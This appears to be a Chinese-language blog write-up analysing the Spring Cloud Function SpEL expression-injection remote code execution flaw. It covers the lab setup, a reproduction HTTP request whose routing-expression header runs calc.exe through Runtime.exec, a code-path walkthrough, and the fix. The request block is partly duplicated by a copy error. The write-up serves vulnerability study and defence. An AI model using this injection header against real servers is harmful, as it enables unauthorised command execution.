SpringCloud Function SPEL RCE analysis

前言

近日,Spring Cloud Function 官方测试用例曝光了 Spring Cloud Function SPEL 表达式注入漏洞,可利用该漏洞通过注入 SPEL 表达式来触发远程命令执行。Spring Cloud Function 是一个基于 Spring Boot 的函数计算框架。通过抽象传输细节和基础设施,为开发者保留熟悉的开发工具和开发流程,让开发者专注于实现业务逻辑,从而提高开发效率。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

环境构建

1
2
3
JDK: 17.0.2
IDEA 2021.3 x64
Windows 10 21H2 x64

使用github上 cckuailong师傅创建的环境

image-20220329125233391

拉取仓库后用IDEA maven进行打包调试即可.由于spring默认端口使用的8080,所以可能会与Burpsuite冲突.可编辑application.properties修改默认端口

image-20220329125724382

漏洞复现

待服务端启动后,向spring服务请求如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /speltest HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-LengthPOST /speltest HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")


image-20220329125946117

漏洞分析

首先来看一下官方提交的commit

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

image-20220329140718470

根据官方commit, 可以得知该漏洞是由RoutingFunction功能所导致

在commit中官方也给出了相应的测试用例

image-20220329130921569

根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段

首先,在所有路由的postmapping上打入断点,程序在进入到form后获取了当前的wapper,随后进入到processRequest

image-20220329134104253

跟进

image-20220329134324974

在processRequest中首先获取了当前wrapper的function,随后调用该function对象的apply

image-20220329134550327

apply中紧接着调用了wrapper的doApply

image-20220329134800863

doApply中首先判断wrapper是否是RoutingFunction,如果不是RoutingFunction则获取其target属性并调用其apply方法,而在此处当前wrapper的target属性正好是一个RoutingFunction

image-20220329135251776

apply中直接调用了route方法,所以直接来看route

在route中判断header头中是否有spring.cloud.function.routing-expression, 随后调用functionFromExpression

image-20220329135641580

到functionFromExpression中,即调用Expression对传入的SPEL表达式进行解析,随后调用expression.getValue执行

image-20220329140001848

修复

在修复版本中对header使用SimpleEvaluationContext进行安全处理

image-20220329140402292

参考

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f